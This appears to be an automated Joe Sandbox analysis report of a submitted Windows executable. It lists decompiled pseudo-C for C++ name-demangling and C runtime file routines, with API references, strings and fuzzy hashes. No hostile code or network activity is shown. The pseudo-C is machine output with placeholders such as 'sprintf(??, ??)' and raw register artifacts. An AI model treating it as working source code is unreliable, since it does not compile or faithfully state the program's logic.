0x00424696
0x0042469b
0x004246a2
0x004246f4
0x004246ff
0x004246a4
0x004246ac
0x004246ac
0x004246b3
0x004246bc
0x004246bf
0x004246c6
0x004246cf
0x004246db
0x004246db
0x0042474d
0x00424620
0x00000000

APIs

ReleaseSemaphore.KERNEL32 ref: 00424732
WaitForSingleObject.KERNEL32 ref: 004247C0

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: ObjectReleaseSemaphoreSingleWait
String ID:
API String ID: 772398627-0
Opcode ID: 824f9e06a3e186ccf6934fb56c69aba1dd299f13c7a59cc6f94f7ea422e5eca1
Instruction ID: 596af8ac476d05a5d9e8d3d4c6b23331c9c5390eb91a87162d503ab315f39c4c
Opcode Fuzzy Hash: 824f9e06a3e186ccf6934fb56c69aba1dd299f13c7a59cc6f94f7ea422e5eca1
Instruction Fuzzy Hash: 26517170B053258BCB20DF29F9406277BE5FB95314F44862AE85487350DB7CE949CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041A794 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 163
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E0041A794(intOrPtr __ebx) {
				signed int _t92;
				signed int _t93;
				void* _t101;
				signed int _t102;
				signed int _t107;
				intOrPtr _t114;
				signed int _t117;
				signed int _t118;
				signed int _t120;
				signed int _t122;
				signed int _t124;
				signed int _t125;
				void* _t127;
				signed int _t128;
				signed int _t132;
				signed int _t133;
				char* _t135;
				char* _t137;
				signed char* _t141;
				intOrPtr _t142;
				signed char* _t143;
				intOrPtr* _t144;
				void* _t146;
				intOrPtr* _t148;

				_t114 = __ebx;
				_t133 =  *(_t148 + 0x18);
				E00418C70(__ebx,  *((intOrPtr*)(_t146 + 8)), _t133);
				_t91 = _t133;
				if((_t133 & 0x00000004) == 0) {
					_t92 =  *(__ebx + 0x100);
					_t143 = 0x5c20f6;
					do {
						_t124 =  *_t143 & 0x000000ff;
						if(_t92 != 0xff) {
							_t117 = _t92;
							_t92 = _t92 + 1;
						} else {
							 *((char*)(_t114 + 0xff)) = 0;
							 *(_t148 + 0x1c) = _t124;
							 *((intOrPtr*)(_t148 + 8)) =  *((intOrPtr*)(_t114 + 0x10c));
							 *((intOrPtr*)(_t148 + 4)) = 0xff;
							 *_t148 = _t114;
							 *((intOrPtr*)(_t114 + 0x108))();
							 *((intOrPtr*)(_t114 + 0x128)) =  *((intOrPtr*)(_t114 + 0x128)) + 1;
							_t92 = 1;
							_t117 = 0;
							_t124 =  *(_t148 + 0x1c) & 0x000000ff;
						}
						_t143 =  &(_t143[1]);
						 *(_t114 + 0x100) = _t92;
						 *(_t114 + _t117) = _t124;
						 *(_t114 + 0x104) = _t124;
					} while (0x5c20f8 != _t143);
					goto L5;
				} else {
					if( *((intOrPtr*)(__ebx + 0x100)) == 0xff) {
						__eax =  *((intOrPtr*)(__ebx + 0x10c));
						 *((char*)(__ebx + 0xff)) = 0;
						 *((intOrPtr*)(__esp + 4)) = 0xff;
						 *((intOrPtr*)(__esp + 8)) =  *((intOrPtr*)(__ebx + 0x10c));
						 *__esp = __ebx;
						__eax =  *((intOrPtr*)(__ebx + 0x108))();
						 *((intOrPtr*)(__ebx + 0x128)) =  *((intOrPtr*)(__ebx + 0x128)) + 1;
						 *((intOrPtr*)(__ebx + 0x100)) = 0;
					}
					__eax =  *((intOrPtr*)(__ebx + 0x100));
					_t18 = __eax + 1; // 0x100
					__edx = _t18;
					 *((intOrPtr*)(__ebx + 0x100)) = __edx;
					 *((char*)(__ebx + __eax)) = 0x2e;
					 *((char*)(__ebx + 0x104)) = 0x2e;
					L5:
					_t144 =  *((intOrPtr*)(_t146 + 0xc));
					if( *_t144 == 0x46) {
						_t93 =  *(_t114 + 0x100);
						_t135 = "{default arg#";
						do {
							_t125 =  *_t135 & 0x000000ff;
							if(_t93 != 0xff) {
								_t118 = _t93;
								_t93 = _t93 + 1;
							} else {
								 *((char*)(_t114 + 0xff)) = 0;
								 *(_t148 + 0x1c) = _t125;
								 *((intOrPtr*)(_t148 + 8)) =  *((intOrPtr*)(_t114 + 0x10c));
								 *((intOrPtr*)(_t148 + 4)) = 0xff;
								 *_t148 = _t114;
								 *((intOrPtr*)(_t114 + 0x108))();
								 *((intOrPtr*)(_t114 + 0x128)) =  *((intOrPtr*)(_t114 + 0x128)) + 1;
								_t93 = 1;
								_t118 = 0;
								_t125 =  *(_t148 + 0x1c) & 0x000000ff;
							}
							 *(_t114 + 0x100) = _t93;
							_t135 =  &(_t135[1]);
							 *(_t114 + _t118) = _t125;
							 *(_t114 + 0x104) = _t125;
						} while (0x5c2106 != _t135);
						 *((intOrPtr*)(_t148 + 4)) = "%d";
						 *((intOrPtr*)(_t148 + 8)) =  *((intOrPtr*)(_t144 + 0xc)) + 1;
						 *_t148 = _t148 + 0x40;
						sprintf(??, ??);
						asm("repne scasb");
						_t101 =  !(_t118 | 0xffffffff) - 1;
						_t127 = _t101;
						if(_t101 == 0) {
							L23:
							_t102 =  *(_t114 + 0x100);
							_t137 = "}::";
							do {
								_t128 =  *_t137 & 0x000000ff;
								if(_t102 != 0xff) {
									_t120 = _t102;
									_t102 = _t102 + 1;
								} else {
									 *((char*)(_t114 + 0xff)) = 0;
									 *(_t148 + 0x1c) = _t128;
									 *((intOrPtr*)(_t148 + 8)) =  *((intOrPtr*)(_t114 + 0x10c));
									 *((intOrPtr*)(_t148 + 4)) = 0xff;
									 *_t148 = _t114;
									 *((intOrPtr*)(_t114 + 0x108))();
									 *((intOrPtr*)(_t114 + 0x128)) =  *((intOrPtr*)(_t114 + 0x128)) + 1;
									_t102 = 1;
									_t120 = 0;
									_t128 =  *(_t148 + 0x1c) & 0x000000ff;
								}
								 *(_t114 + 0x100) = _t102;
								_t137 =  &(_t137[1]);
								 *(_t114 + _t120) = _t128;
								 *(_t114 + 0x104) = _t128;
							} while (0x5c210d != _t137);
							_t144 =  *((intOrPtr*)(_t144 + 8));
							goto L6;
						}
						_t141 = _t148 + 0x40;
						_t107 =  *(_t114 + 0x100);
						 *(_t148 + 0x1c) = _t127 + _t141;
						do {
							_t132 =  *_t141 & 0x000000ff;
							if(_t107 != 0xff) {
								_t122 = _t107;
								_t107 = _t107 + 1;
							} else {
								 *((char*)(_t114 + 0xff)) = 0;
								 *(_t148 + 0x20) = _t132;
								 *((intOrPtr*)(_t148 + 8)) =  *((intOrPtr*)(_t114 + 0x10c));
								 *((intOrPtr*)(_t148 + 4)) = 0xff;
								 *_t148 = _t114;
								 *((intOrPtr*)(_t114 + 0x108))();
								 *((intOrPtr*)(_t114 + 0x128)) =  *((intOrPtr*)(_t114 + 0x128)) + 1;
								_t107 = 1;
								_t122 = 0;
								_t132 =  *(_t148 + 0x20) & 0x000000ff;
							}
							 *(_t114 + 0x100) = _t107;
							_t141 =  &(_t141[1]);
							 *(_t114 + _t122) = _t132;
							 *(_t114 + 0x104) = _t132;
						} while ( *(_t148 + 0x1c) != _t141);
						goto L23;
					}
					L6:
					E00418C70(_t114, _t144,  *(_t148 + 0x18));
					_t91 =  *(_t148 + 0x34);
					_t142 =  *((intOrPtr*)(_t146 + 4)) - 1;
					_t133 =  *(_t114 + 0x11c) - 1;
					 *(_t114 + 0x12c) = _t91;
					 *((intOrPtr*)(_t146 + 4)) = _t142;
					 *(_t114 + 0x11c) = _t133;
					return _t91;
				}
			}

0x0041a794
0x0041a794
0x0041a79f
0x0041a7a4
0x0041a7a8
0x0041be6b
0x0041be71
0x0041be9c
0x0041be9c
0x0041bea4
0x0041be7d
0x0041be7f
0x0041bea6
0x0041beac
0x0041beb3
0x0041beb7
0x0041bebb
0x0041bec3
0x0041bec6
0x0041becc
0x0041bed3
0x0041bed8
0x0041beda
0x0041beda
0x0041be82
0x0041be85
0x0041be8b
0x0041be8e
0x0041be94
0x00000000
0x0041a7ae
0x0041a7b8
0x0041a7ba
0x0041a7c0
0x0041a7c7
0x0041a7cf
0x0041a7d3
0x0041a7d6
0x0041a7dc
0x0041a7e3
0x0041a7e3
0x0041a7ed
0x0041a7f3
0x0041a7f3
0x0041a7f6
0x0041a7fc
0x0041a800
0x0041a807
0x0041a807
0x0041a80d
0x0041c6b3
0x0041c6b9
0x0041c6e0
0x0041c6e0
0x0041c6e8
0x0041c6c0
0x0041c6c2
0x0041c6ea
0x0041c6f0
0x0041c6f7
0x0041c6fb
0x0041c6ff
0x0041c707
0x0041c70a
0x0041c710
0x0041c717
0x0041c71c
0x0041c71e
0x0041c71e
0x0041c6c5
0x0041c6cb
0x0041c6ce
0x0041c6d1
0x0041c6dc
0x0041c728
0x0041c737
0x0041c73f
0x0041c742
0x0041c74c
0x0041c752
0x0041c755
0x0041c757
0x0041c7cd
0x0041c7cd
0x0041c7d3
0x0041c7fa
0x0041c7fa
0x0041c802
0x0041c7da
0x0041c7dc
0x0041c804
0x0041c80a
0x0041c811
0x0041c815
0x0041c819
0x0041c821
0x0041c824
0x0041c82a
0x0041c831
0x0041c836
0x0041c838
0x0041c838
0x0041c7df
0x0041c7e5
0x0041c7e8
0x0041c7eb
0x0041c7f6
0x0041c83f
0x00000000
0x0041c83f
0x0041c759
0x0041c75d
0x0041c765
0x0041c788
0x0041c788
0x0041c790
0x0041c76b
0x0041c76d
0x0041c792
0x0041c798
0x0041c79f
0x0041c7a3
0x0041c7a7
0x0041c7af
0x0041c7b2
0x0041c7b8
0x0041c7bf
0x0041c7c4
0x0041c7c6
0x0041c7c6
0x0041c770
0x0041c776
0x0041c779
0x0041c77c
0x0041c782
0x00000000
0x0041c788
0x0041a813
0x0041a81b
0x0041a823
0x0041a827
0x0041a830
0x00418e71
0x00418e77
0x00418e7a
0x00418e8a
0x00418e8a

Strings

{default arg#, xrefs: 0041C6B9
}::, xrefs: 0041C7D3
., xrefs: 0041A800

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID: .${default arg#$}::
API String ID: 0-723286900
Opcode ID: 093d1a0e68c9244a73c1d1c4d0484e9d881076cb973ced5a34031fe4c762f205
Instruction ID: eb7b3830e19e157916187393f0c8a6ba5ac556e45af8d14f4a79c10d56aae786
Opcode Fuzzy Hash: 093d1a0e68c9244a73c1d1c4d0484e9d881076cb973ced5a34031fe4c762f205
Instruction Fuzzy Hash: 9F715F745493828BCB118F28C0C47E97BE1AF55304F1884BEECD98F346C7B99885DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0041A5B0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 141COMMON

Download Yara Rule

Strings

this, xrefs: 0041B8FE
}, xrefs: 0041BDEC
parm#, xrefs: 0041A5C7

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID:
String ID: parm#$this$}
API String ID: 0-728413427
Opcode ID: 26c719449f0db1546e2f12b5b14ae5f46b28aea52b21d86649a0fd6b5e717fa0
Instruction ID: 88373485a95391fa82b236686e51d95ae17ad0b2e499ea79fa8e15f088bd8ab6
Opcode Fuzzy Hash: 26c719449f0db1546e2f12b5b14ae5f46b28aea52b21d86649a0fd6b5e717fa0
Instruction Fuzzy Hash: 34614D715092428BCB15CF28C0D47E97BE1AFA5304F1884BEECC98F346D77998859B96

Uniqueness

Uniqueness Score: -1.00%

Function 0041970C Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 113
stringCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0041970C(intOrPtr __eax, void* __ebx, intOrPtr __edi) {
				intOrPtr _t61;
				void* _t62;
				intOrPtr _t65;
				intOrPtr _t67;
				void* _t70;

				_t65 = __edi;
				_t62 = __ebx;
				_t61 = __eax;
				if( *((intOrPtr*)( *((intOrPtr*)(_t70 + 0xc)))) != 0x3a ||  *__edx != 0x3b) {
					 *((intOrPtr*)(_t62 + 0x118)) = 1;
					_t67 =  *((intOrPtr*)(_t70 + 4)) - 1;
				} else {
					__eax = __ebp + 0xc;
					__ecx =  *(__ebp + 8);
					__edx = __esp[0x18];
					 *__esp = __ebp + 0xc;
					__eax = __ebx;
					if(E0041EA40(__ebx,  *(__ebp + 8), __esp[0x18]) != 0) {
						__edi =  *(__ebp + 4);
						__eax = __esp[0x34];
						__esi =  *(__ebp + 4) - 1;
						 *((intOrPtr*)(__ebx + 0x11c)) =  *((intOrPtr*)(__ebx + 0x11c)) - 1;
					} else {
						__eax =  *(__ebp + 0xc);
						__edi =  *(__ebp + 8);
						__esi =  *(__eax + 8);
						__eax =  *(__eax + 0xc);
						__edx =  *(__eax + 8);
						__eax =  *(__eax + 0xc);
						__esp[4] = 0x5c1d1f;
						__esp[0x1c] = __eax;
						__eax = __edi[8];
						__esp[0x20] = __edx;
						__eax =  *(__edi[8]);
						 *__esp =  *(__edi[8]);
						if(strcmp(??, ??) != 0) {
							__ecx = 4;
							__edx = "new ";
							__ebx = E00415B40(__ebx, 4, "new ");
							if(__esi[8] != 0) {
								__edx = __esp[0x18];
								__ecx = __esi;
								__ebx = E0041E950(__ebx, __esi, __esp[0x18]);
								if( *(__ebx + 0x100) == 0xff) {
									__eax =  *(__ebx + 0x10c);
									 *((char*)(__ebx + 0xff)) = 0;
									__esp[4] = 0xff;
									__esp[8] =  *(__ebx + 0x10c);
									 *__esp = __ebx;
									__eax =  *((intOrPtr*)(__ebx + 0x108))();
									 *((intOrPtr*)(__ebx + 0x128)) =  *((intOrPtr*)(__ebx + 0x128)) + 1;
									 *(__ebx + 0x100) = 0;
								}
								_t40 =  &(( *(__ebx + 0x100))[1]); // 0x100
								__edx = _t40;
								 *(__ebx + 0x100) = _t40;
								( *(__ebx + 0x100))[__ebx] = 0x20;
								 *((char*)(__ebx + 0x104)) = 0x20;
							}
							__ecx = __esp[0x20];
							__edx = __esp[0x18];
							__ebx = E00418C70(__ebx, __esp[0x20], __esp[0x18]);
							if(__esp[0x1c] == 0) {
								__edi =  *(__ebp + 4);
								__eax = __esp[0x34];
								_t59 = __edi - 1; // 0x5c1d1e
								__esi = _t59;
								 *((intOrPtr*)(__ebx + 0x11c)) =  *((intOrPtr*)(__ebx + 0x11c)) - 1;
							} else {
								__ecx = __esp[0x1c];
								__edx = __esp[0x18];
								__ebx = E0041E950(__ebx, __esp[0x1c], __esp[0x18]);
								__edi =  *(__ebp + 4);
								__eax = __esp[0x34];
								_t51 = __edi - 1; // 0x5c1d1e
								__esi = _t51;
								 *((intOrPtr*)(__ebx + 0x11c)) =  *((intOrPtr*)(__ebx + 0x11c)) - 1;
							}
						} else {
							__ecx = __esi;
							__esi = __esp[0x18];
							__eax = __ebx;
							__edx = __esi;
							__eax = E0041E950(__ebx, __ecx, __esi);
							__ecx = __edi;
							__edx = __esi;
							__ebx = E0041E8B0(__ebx, __edi, __esi);
							__ecx = __esp[0x20];
							__edx = __esi;
							__ebx = E0041E950(__ebx, __esp[0x20], __esi);
							__ecx = 3;
							__edx = " : ";
							__ebx = E00415B40(__ebx, 3, " : ");
							__ecx = __esp[0x1c];
							__edx = __esi;
							__ebx = E0041E950(__ebx, __esp[0x1c], __esi);
							__edi =  *(__ebp + 4);
							__eax = __esp[0x34];
							_t26 = __edi - 1; // 0x5c1d1e
							__esi = _t26;
							 *((intOrPtr*)(__ebx + 0x11c)) =  *((intOrPtr*)(__ebx + 0x11c)) - 1;
						}
					}
				}
				 *((intOrPtr*)(_t62 + 0x12c)) = _t61;
				 *((intOrPtr*)(_t70 + 4)) = _t67;
				 *((intOrPtr*)(_t62 + 0x11c)) = _t65;
				return _t61;
			}

0x0041970c
0x0041970c
0x0041970c
0x00419712
0x00419720
0x0041972d
0x0041cae2
0x0041cae2
0x0041cae5
0x0041cae8
0x0041caec
0x0041caef
0x0041caf8
0x0041d123
0x0041d126
0x0041d12a
0x0041d133
0x0041cafe
0x0041cafe
0x0041cb01
0x0041cb04
0x0041cb07
0x0041cb0a
0x0041cb0d
0x0041cb10
0x0041cb18
0x0041cb1c
0x0041cb1f
0x0041cb23
0x0041cb25
0x0041cb2f
0x0041d069
0x0041d06e
0x0041d075
0x0041d07e
0x0041d080
0x0041d084
0x0041d088
0x0041d097
0x0041d099
0x0041d09f
0x0041d0a6
0x0041d0ae
0x0041d0b2
0x0041d0b5
0x0041d0bb
0x0041d0c2
0x0041d0c2
0x0041d0d2
0x0041d0d2
0x0041d0d5
0x0041d0db
0x0041d0df
0x0041d0df
0x0041d0e6
0x0041d0ea
0x0041d0f0
0x0041d0fa
0x0041d172
0x0041d175
0x0041d179
0x0041d179
0x0041d182
0x0041d0fc
0x0041d0fc
0x0041d100
0x0041d106
0x0041d10b
0x0041d10e
0x0041d112
0x0041d112
0x0041d11b
0x0041d11b
0x0041cb35
0x0041cb35
0x0041cb37
0x0041cb3b
0x0041cb3d
0x0041cb3f
0x0041cb44
0x0041cb46
0x0041cb4a
0x0041cb4f
0x0041cb53
0x0041cb57
0x0041cb5c
0x0041cb61
0x0041cb68
0x0041cb6d
0x0041cb71
0x0041cb75
0x0041cb7a
0x0041cb7d
0x0041cb81
0x0041cb81
0x0041cb8a
0x0041cb8a
0x0041cb2f
0x0041caf8
0x00418e71
0x00418e77
0x00418e7a
0x00418e8a

APIs

strcmp.MSVCRT ref: 0041CB28

Strings

new , xrefs: 0041D06E
, xrefs: 0041D0DF
: , xrefs: 0041CB61

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: strcmp
String ID: $ : $new
API String ID: 1004003707-2075650739
Opcode ID: 739eb103f2856102434919b6a9ac6ef32051c913cf01d4c0b46a02a31ca1eca2
Instruction ID: f64c6bfab13a2784901c00907ec54d38a3a3e8b2a03c2c7515d2e29bf18a5075
Opcode Fuzzy Hash: 739eb103f2856102434919b6a9ac6ef32051c913cf01d4c0b46a02a31ca1eca2
Instruction Fuzzy Hash: 2D51FA75604306CFCB00DF29C48469AB7A2AF88314F15856EEC899B316C778EC86CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00424E80 Relevance: 6.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

IsDBCSLeadByteEx.KERNEL32 ref: 00424ED4
MultiByteToWideChar.KERNEL32 ref: 00424F17

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: Byte$CharLeadMultiWide
String ID:
API String ID: 2561704868-0
Opcode ID: 4590175e9704d16da6ad1e5ac0be5555a7c558ba08dc841fbfb473e6df3933f0
Instruction ID: 5e45a133d4e929a255210025db43048504846218539c649e00f42bdde6b9ef99
Opcode Fuzzy Hash: 4590175e9704d16da6ad1e5ac0be5555a7c558ba08dc841fbfb473e6df3933f0
Instruction Fuzzy Hash: 944102B06083518FD710DF29E58421BBBE0BFC5318F45892EF9948B390D7BAD8498B47

Uniqueness

Uniqueness Score: -1.00%

Function 004232B1 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

abort.MSVCRT(00422CFB), ref: 004AE648
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 0074f99ef41f0b24016de4aebbf02693383b0b9c2107682e13c3c79017f26e38
Instruction ID: ef7ca1ac5450fbc4d952e1fd8e8ee8473aef2e77ed377f71141e243436225f89
Opcode Fuzzy Hash: 0074f99ef41f0b24016de4aebbf02693383b0b9c2107682e13c3c79017f26e38
Instruction Fuzzy Hash: DB213D327052208FC700DF59E48166673B5EFC1319B5D85BFE9488B306D17EB90A9779

Uniqueness

Uniqueness Score: -1.00%

Function 00426360 Relevance: 6.1, APIs: 4, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00426360(signed int __eax, signed int __edx, signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _t21;
				signed int _t22;
				signed int _t27;
				signed int _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int* _t32;

				_t28 = __edx;
				_t17 = __eax;
				_t27 = _a4;
				_t30 = _a8;
				_t29 = _a12;
				_t31 = _a16;
				L0042F520();
				 *((intOrPtr*)(__eax)) = 0;
				if(_t27 == 0 || _t31 > 2) {
					L0042F520();
					 *_t17 = 0x16;
					return 0xffffffff;
				} else {
					 *(_t27 + 0xc) =  *(_t27 + 0xc) & 0xffffffef;
					if(_t31 == 1) {
						 *_t32 = _t27;
						_t30 = _t30 + E00426040(__eax, __edx);
						asm("adc edi, edx");
						_t31 = 0;
					}
					 *_t32 = _t27;
					E00425F00();
					_t21 =  *(_t27 + 0xc);
					if((_t21 & 0x00000080) == 0) {
						_t22 = _t21 & 0x00000409;
						if(_t22 == 9) {
							 *((intOrPtr*)(_t27 + 0x18)) = 0x200;
						}
					} else {
						_t22 = _t21 & 0xfffffffc;
						 *(_t27 + 0xc) = _t22;
					}
					 *_t32 = _t27;
					L0042F508();
					_v32 = _t31;
					_v40 = _t30;
					_v36 = _t29;
					 *_t32 = _t22;
					L0042F4F0();
					return  ~((_t22 & _t28 & 0xffffff00 | (_t22 & _t28) == 0xffffffff) & 0x000000ff);
				}
			}

0x00426360
0x00426360
0x00426367
0x0042636b
0x0042636f
0x00426373
0x00426377
0x0042637e
0x00426384
0x00426403
0x00426408
0x00000000
0x0042638b
0x0042638b
0x00426392
0x004263f3
0x004263fb
0x004263fd
0x004263ff
0x004263ff
0x00426394
0x00426397
0x0042639c
0x004263a1
0x004263e0
0x004263e8
0x004263ea
0x004263ea
0x004263a3
0x004263a3
0x004263a6
0x004263a6
0x004263a9
0x004263ac
0x004263b1
0x004263b5
0x004263b9
0x004263bd
0x004263c0
0x00000000
0x004263d0

APIs

_errno.MSVCRT ref: 00426377
_fileno.MSVCRT ref: 004263AC
_lseeki64.MSVCRT ref: 004263C0
_errno.MSVCRT ref: 00426403

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: _errno$_fileno_lseeki64
String ID:
API String ID: 2364285915-0
Opcode ID: 5d07bb960ab374f54fc4ff8c7eb64e4319677026b8f42e00d6abcec38b3c108d
Instruction ID: f83bd3aeeeb18a090e19cd2c3c4a5791c9deb7a24763c3a67e8ac4d747bba382
Opcode Fuzzy Hash: 5d07bb960ab374f54fc4ff8c7eb64e4319677026b8f42e00d6abcec38b3c108d
Instruction Fuzzy Hash: 461189716147209FC710BF66E88112A77A0AF41374FD5462FE854872D3D67C98418B56

Uniqueness

Uniqueness Score: -1.00%

Function 00425060 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

___lc_codepage_func.MSVCRT ref: 00425085
